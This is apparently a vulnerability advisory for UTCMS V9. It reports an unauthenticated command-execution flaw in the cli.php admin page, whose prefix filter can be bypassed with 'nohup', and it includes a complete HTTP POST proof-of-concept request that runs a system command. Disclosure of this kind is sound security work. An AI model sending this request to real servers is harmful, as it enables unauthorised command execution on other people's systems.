# Vendor HuangDou # Product UTCMS # version V9 # Download https://gitee.com/usualtool/ut-cms # Vulnerability RCE # Description The cli.php page can execute system commands without authentication. Although filtering exists, it is not strict. # Analysis 1. The app/modules/ut-cac/admin/cli.php page can be accessed directly, and there is no authentication for this page. image 2. The filtering rules stipulate that commands can only start with cd, php, nohup, or composer. However, system commands can be executed using "nohup whoami". image # POC ``` POST /app/modules/ut-cac/admin/cli.php HTTP/1.1 Host: 192.168.17.24 Content-Length: 16 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Origin: http://192.168.17.24 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close o=nohup ifconfig ```